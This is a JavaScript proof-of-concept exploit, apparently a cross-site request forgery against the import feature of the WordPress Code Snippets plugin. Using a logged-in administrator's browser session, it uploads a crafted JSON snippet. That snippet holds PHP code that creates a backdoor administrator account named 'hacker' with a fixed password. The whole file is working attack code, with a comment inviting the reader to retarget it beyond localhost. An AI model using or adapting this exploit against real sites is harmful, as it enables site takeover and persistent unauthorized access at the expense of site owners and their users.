function submitRequest()
{
    // change this if you use tihs any where else other than localhost.
    var ip = "localhost";

    var maliciousCode = "add_action( 'init', function () {" +
    "$username = 'hacker';" +
    "$password = 'pa$$word';" +
        "$email_address = '[email protected]';" +
        "if ( ! username_exists( $username ) ) {" +
        "$user_id = wp_create_user( $username, $password, $email_address );" +
            "$user = new WP_User( $user_id );" +
            "$user->set_role( 'administrator' );" +
            "};" +
    "} ); ?>";

    var xhr = new XMLHttpRequest();                
    xhr.open("POST", "http:\/\/" + ip + ":8000\/wp-admin\/admin.php?page=import-snippets", true);
    xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryIpMt0484nyfHOSdA");
    xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
    xhr.withCredentials = true;

    var body = "------WebKitFormBoundaryIpMt0484nyfHOSdA\r\n" + 
    "Content-Disposition: form-data; name=\"duplicate_action\"\r\n" + 
    "\r\n" + 
    "ignore\r\n" + 
    "------WebKitFormBoundaryIpMt0484nyfHOSdA\r\n" + 
    "Content-Disposition: form-data; name=\"code_snippets_import_files[]\"; filename=\"code-snippets (2).json\"\r\n" + 
    "Content-Type: application/json\r\n" + 
    "\r\n" + 
    "{\"generator\":\"Code Snippets v2.13.3\",\"date_created\":\"2020-04-18 12:35\",\"snippets\":[{\"name\":\"PoC\",\"scope\":\"global\",\"code\":\"" + maliciousCode + "\",\"priority\":\"1\",\"active\":\"1\"}]}\r\n" + 
    "------WebKitFormBoundaryIpMt0484nyfHOSdA\r\n" + 
    "Content-Disposition: form-data; name=\"action\"\r\n" + 
    "\r\n" + 
    "save\r\n" + 
    "------WebKitFormBoundaryIpMt0484nyfHOSdA\r\n" + 
    "Content-Disposition: form-data; name=\"max_file_size\"\r\n" + 
    "\r\n" + 
    "2097152\r\n" + 
    "------WebKitFormBoundaryIpMt0484nyfHOSdA\r\n" + 
    "Content-Disposition: form-data; name=\"submit\"\r\n" + 
    "\r\n" + 
    "Upload files and import\r\n" + 
    "------WebKitFormBoundaryIpMt0484nyfHOSdA--\r\n";
    
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
    xhr.send(new Blob([aBody]));
    }